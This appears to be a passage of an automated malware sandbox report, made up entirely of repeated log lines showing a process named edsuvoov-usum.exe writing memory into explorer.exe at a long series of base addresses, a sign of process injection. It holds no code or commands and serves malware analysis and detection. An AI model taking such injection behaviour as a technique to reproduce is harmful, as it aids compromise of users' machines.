Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E6B0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E6C0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E6D0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E6E0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E6F0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E700000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E710000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E720000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E730000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E740000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E750000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E760000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E770000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E780000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E790000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E7A0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E7B0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 8340000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 7FE0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 86D0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 86F0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 8F20000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 8F30000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 8300000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 83A0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 8F40000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 8F50000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 8F60000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 8F70000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 8F80000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 8F90000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 8FA0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 8FB0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 8FC0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 8FD0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 8FE0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 8FF0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 9000000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 9010000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 9270000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 9280000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 9290000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 92A0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 92B0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 92C0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 92D0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 92E0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 92F0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 9300000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 9310000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 9320000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 9330000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 9350000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 9360000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 9450000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 9460000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 9470000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 9480000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 9490000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 94A0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 94B0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 94E0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 94F0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 94D0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 9500000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 9510000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 9520000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 9530000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 9540000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: BBC0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: BBD0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: BBE0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: BBF0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: BC00000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: BC10000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: BC20000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: BC30000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: BC40000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: BC50000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: BC60000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: BC70000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: BC80000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: BC90000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: BCA0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: BCB0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: BCC0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: BDD0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: BDE0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: BDF0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: BE00000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: BE10000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: BD70000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: BD80000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: BD90000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: BE20000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: BE30000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: C8C0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: C8D0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: BD50000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: BD60000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: BDA0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: BDB0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: BDC0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: C8E0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: C8F0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: C900000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: C910000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: C920000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: C930000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: C940000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: C950000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: C960000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: C970000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: C980000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: C990000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: C9A0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: C9B0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E4C0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E4D0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E840000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E850000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E860000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E870000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E880000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E890000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E8A0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E8B0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E8C0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E8D0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E8E0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E8F0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E900000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E910000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E920000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E930000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E940000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E950000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E960000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E970000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E980000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E990000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E9A0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E9B0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E9C0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E9D0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 83F0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 9340000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E9E0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E9F0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EA00000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EA10000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EA20000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EA30000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EA40000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EA50000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EA60000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EA70000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EA80000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EA90000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EAA0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EAB0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EAC0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EAD0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EAE0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EAF0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EB00000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EB10000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EB20000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EB30000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EB40000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EB50000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EB60000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EB70000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EB80000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EB90000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EBA0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EBB0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EBC0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EBD0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EBE0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EBF0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EC00000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EC10000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EC20000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EC30000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EC40000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EC50000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EC60000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EC70000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EC80000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EC90000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: ECA0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: ECB0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: ECC0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: ECD0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: ECE0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: ECF0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: ED00000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: ED10000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: ED20000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: ED30000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: ED40000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: ED50000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: ED60000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: ED70000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: ED80000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: ED90000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EDA0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EDE0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EDF0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: FEC0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: FED0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: FEE0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: FEF0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: FF00000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: FF10000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: FF20000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: FF30000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: FF40000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: FF50000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: FF60000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: FF70000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: FF80000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: FF90000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: FFA0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: FFB0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: FFC0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: FFD0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: FFE0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: FFF0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10000000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10010000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10020000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10030000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10040000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10050000	Jump to behavior
